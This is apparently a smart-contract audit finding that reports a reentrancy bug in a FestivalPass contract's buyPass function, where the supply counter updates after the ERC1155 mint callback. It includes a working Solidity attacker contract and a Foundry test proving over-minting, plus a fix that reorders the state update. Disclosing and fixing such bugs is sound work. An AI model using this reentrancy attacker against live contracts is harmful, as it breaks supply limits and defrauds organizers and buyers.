Root + Impact
Reentrancy in buyPass allows bypass of max supply constraint via ERC1155 callback
Description
The FestivalPass::buyPass function mints an ERC1155 pass to the buyer and increments the internal supply tracker passSupply. However, the state update occurs after the external call to _mint(...) which triggers the ERC1155 receiver hook onERC1155Received.
A malicious contract implementing onERC1155Received can reenter buyPass() before passSupply[collectionId] is incremented thereby bypassing the passSupply < passMaxSupply check and minting more tokens than allowed.
function buyPass(uint256 collectionId) external payable {
...
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
...
}
Risk
Likelihood: High
Any malicious contract can exploit this vulnerability when buyPass() is called and the ERC1155 onERC1155Received callback is triggered.
Impact: High
Attackers can bypass the maximum supply constraints defined by the organizer, violating intended limits and trust assumptions.
Proof of Concept
Attacker Contract (ERC1155 Reentrant)
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract ReentrancyAttacker is IERC1155Receiver {
FestivalPass public festivalPass;
uint256 price;
bool public attacked;
constructor(address _festivalPass) {
festivalPass = FestivalPass(_festivalPass);
}
function attack() external payable {
attacked = false;
price = msg.value;
festivalPass.buyPass{value: price}(1);
}
function onERC1155Received(address operator, address from, uint256 id, uint256 value, bytes calldata data)
external
override
returns (bytes4)
{
if (!attacked) {
attacked = true;
festivalPass.buyPass{value: price}(id);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external pure override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
}
Foundry Test Case
function test_reentrancyInBuyPass() public {
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 1);
ReentrancyAttacker attacker = new ReentrancyAttacker(address(festivalPass));
vm.deal(address(attacker), 5 * GENERAL_PRICE);
attacker.attack{value: GENERAL_PRICE}();
assertEq(attacker.attacked(), true);
assertEq(festivalPass.balanceOf(address(attacker), 1), 2);
assertEq(festivalPass.passSupply(1), 2);
assertEq(festivalPass.passMaxSupply(1), 1);
}
Recommended Mitigation
Use CEI pattern
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId]; // move state update BEFORE external call
+ _mint(msg.sender, collectionId, 1, "");